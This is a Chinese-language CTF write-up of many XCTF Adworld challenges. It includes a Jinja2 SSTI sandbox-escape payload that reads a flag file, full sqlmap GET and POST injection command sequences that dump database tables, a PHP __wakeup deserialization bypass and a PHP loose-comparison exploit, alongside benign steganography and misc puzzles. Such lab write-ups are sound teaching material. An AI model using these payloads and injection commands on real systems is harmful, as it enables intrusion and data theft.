攻防世界writeup

攻防世界 confusion1

第一次接触这样的漏洞,认真学习了一波

0x00题目介绍
打开是一个网站,有登陆注册功能,正中间还有一张图片(后来才知道代表php vs python)
攻防世界writeup_第1张图片
但是点击登陆注册都显示404,就很迷了,之后又去扫描了网站,并没有发现什么有用的东西
攻防世界writeup_第2张图片
偶然间查看页面源代码,发现了端倪
攻防世界writeup_第3张图片
这个404界面暗藏玄机啊!但还是不知道怎么做这道题

0xo1查阅资料
其实就是查看wp…发现这道题目考察的是SSTI,好像发现了新大陆诶,然后一脸懵逼地查资料。
首先知道了这种题型的漏洞表现在哪,就是把我们的输入当作代码执行。
攻防世界writeup_第4张图片
还可以导出所有的config变量,有些config变量可以暴露出重要的信息
攻防世界writeup_第5张图片

0x02解决方法
既然能够执行代码,就能够做很多事情,这里用到了沙箱逃逸(http://shaobaobaoer.cn/archives/656/python-sandbox-escape)
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。
这道题目过滤了一些关键字,用request.args绕过,所以构造payload

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

PHP2

代码审计题目,题目刚进去是没有什么有用的信息,主要代码在/index.phps里面
攻防世界writeup_第6张图片
第一个条件是传入的id不能是admin,两者之间是用“===”连接的,意思是不能利用php弱类型的方法传入admin,第二个条件是传入的id参数经url解码后的值不能为admin,那么解决方法就是将admin经过两次url加密,那用传入的参数经过浏览器的自动解码,结果是经过一次url加密的admin的值。
站长之家的不能编码,只能解码,所以用编码转换精灵来将admin编码两次然后传入就能得到flag了
攻防世界writeup_第7张图片
攻防世界writeup_第8张图片

NewsCenter

题目难度:一颗星
题目来源: XCTF 4th-QCTF-2018
考察内容:post类型注入
使用工具:sqlmap
攻防世界writeup_第9张图片
因为之前遇到过这种类型的题目,所以一进去就知道是sql注入
攻防世界writeup_第10张图片
因为对手工注入不太熟悉,所以干脆放弃手工直接用sqlmap(这是硬伤,有好多注入的题型用sqlmap是扫不出来的),这用sqlmap也不是好用的,因为之前只知道get类型的注入语句,所以就用get的方法尝试注入,但是一直报错,一度让我怀疑这道题考的是不是注入。后来看了wp才知道,原来是TMD POST类型的注入
在这里插入图片描述
POST类型的注入和GET类型的诸如类似,只是多了一个参数,下面先来复习一下GET类型的注入吧(以当前题目的url为例)
查看能不能注入:

python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1"

爆数据库:

python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1" --dbs

爆表名:

python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1" -D 数据库名 --tables

爆列名:

python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1" -D 数据库名 -T 表名 --cloumns

爆字段:

python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1" -D 数据库名 -T 表名 -C "字段" --dump

接下来看看post类型的注入
爆数据库:

python2 sqlmap.py -u "http://47.96.118.255:33066/" --forms --dbs

post类型的注入会有问题,默认y就可以
攻防世界writeup_第11张图片
爆表名:

python2 sqlmap.py -u "http://47.96.118.255:33066/" --forms -D news --tables

爆字段:

python2 sqlmap.py -u "http://47.96.118.255:33066/" --forms -D news -T secret_table --dump

最后得到flag
在这里插入图片描述

unserialize3

本题目考察的是php反序列化和____weakup()__函数的绕过
攻防世界writeup_第12张图片
和php序列化反序列化相联系的肯定就是魔术函数了,____weakup()__函数是在反序列化的时候需要检查的函数,如果存在就跳过其他函数,直接执行____weakup()__函数的内容。这道题目就是这样的,执行exit(‘bad requests’),而不执行echo flag.所以我们需要做的就是绕过____weakup()__函数。
绕过__weakup()函数的方法
先来看一下字符串序列化后的结果
攻防世界writeup_第13张图片
在这里插入图片描述

O:代表object(类),还有一种是A,代表数组
4:代表对象名字占4个字符
xctf:对象名
1:对象有一个变量
s:数据类型,s代表string,i代表int

知道了这些,就可以绕过魔术函数了,方法就是让序列化的结果出错,就像例子中的,我们的类中本来就只有一个$flag变量,如果我们把变量名输入为2,就可以成功绕过了。
构造payload如下:
在这里插入图片描述
就可以成功得到flag了

Lottery!

这道题目很有意思,是买彩票的,题目的界定是默认给你20块钱让你买彩票,每买一次花两块钱,买的是7个数字,规则如下:
攻防世界writeup_第14张图片
这和买彩票的规则是一致的,想要实现很困难,我们发现网页有一个买flag的页面
攻防世界writeup_第15张图片
但是我们的20块钱也买不了这么贵的东西,所以就想到了抓包,看看能不能修改一些值来完成这个操作,发现并不能实现这个理想的功能。
然后就从网站入手,输入robots.txt发现有git源码泄露漏洞,然后就把源码下下来,进行代码审计。
审计发现漏洞在api.php里
api.php

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}

分析:只要$same_count每一位都不是0的时候,就可以中最高的奖了。
操作:抓包改包,{“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]},利用的是php弱类型的松散比较,支持布尔类型的数据,因此传入7个true即可。

ext3

ext3是第三代扩展文件系统,是一个日志文件系统,常用于Linux操作系统。它是很多Linux发行版的默认文件系统。
这道题下载下来后是一个名为Linux的文件,并没有后缀,但是根据题目的名字,我们应该知道这是一个ext3文件。我们把它拉到kali下,使用strings查看字符串,定位flag可能出现的位置。
在这里插入图片描述
发现存在flag.txt文件,那怎么打开呢
一种方法是直接binwalk,把文件给分离出来
攻防世界writeup_第16张图片
还有一种方法是通过挂载的方法来解决
攻防世界writeup_第17张图片
两种方法最后都会得到一串字符串,然后base64解密就可以得到flag了

give_you_flag

这道题给的是一张动图,我们发现动图的最后有一个二维码一闪而过,那我们就把动图拆分成一帧一帧的,最后得到二维码就行了,所以就用GIFframe来将图片拆分,最后得到的二维码发现没有定位符
攻防世界writeup_第18张图片
那我们就手动添加定位符,再网上搜索定位符,使然后用电脑自带的画图工具“print 3D”将定位符添上再扫描即可得到flag
攻防世界writeup_第19张图片

pdf

这道题考察的是pdf隐写,只需要把pdf转成word就会显示出来图片下的flag了

坚持60s

这道题其实是个用java写的小游戏,只要能坚持60s不碰到障碍物,也能得到flag,不过有点难,所以使用java反编译工具jd-gui来直接查看源代码
攻防世界writeup_第20张图片
base64解码即可

如来十三掌

下载下来是一串佛文

夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮

之前对“与佛论禅”旅有耳闻,很自然的就想到了这里,
攻防世界writeup_第21张图片
把佛文输入到佛家妙语当中去,而且要在前面加上“佛曰”,不然解不出来,点击“参悟佛所言的真意”,就可以解出来flag

gif

下载好了是一堆黑白的图片
攻防世界writeup_第22张图片
白色定为0,黑色定为1,前八个先试验一下,发现是f
攻防世界writeup_第23张图片
写一个脚本,不用一个一个找了

//python2
import os
white = open("./gif/0.jpg","rb").read()
black = open("./gif/1.jpg","rb").read()

flag_binary = ""

for i in range(104):
    with open("./gif/%d.jpg"%i,"rb") as f:
        if f.read() == white:
            flag_binary += "0"
        else:
            flag_binary += "1"

flag = ""

for i in range(len(flag_binary)/8):
    flag += chr(int(flag_binary[i*8:(i+1)*8],2))//切片,八位一组,转换为二进制然后转为ASCII码

print flag

SimpleRAR

下载下来解压后发现,有文件损坏了打不开,这道题有点不知所以然,看官方wp吧
攻防世界writeup_第24张图片
https://adworld.xctf.org.cn/task/writeup?type=misc&id=5102

stegano

一张pdf,本来以为和之前的一样是pdf转为word,不过这次不行
先拉到kali pdfinfo一下,查找和flag有关的内容
攻防世界writeup_第25张图片
发现一段base64编码的字符串,解码发现并没有什么有用的信息,通过看wp知道了要使用pdf.js这个插件才能做出来,而且是谷歌上面的插件,在控制台输入document.documentElement.textContent来获取更多有用的信息
攻防世界writeup_第26张图片
发现有ABABAB,而且上面也有AB和._的转换方式,那就正好可以把AB转换成摩斯密码的形式,然后解码就行了

你可能感兴趣的:(攻防世界writeup)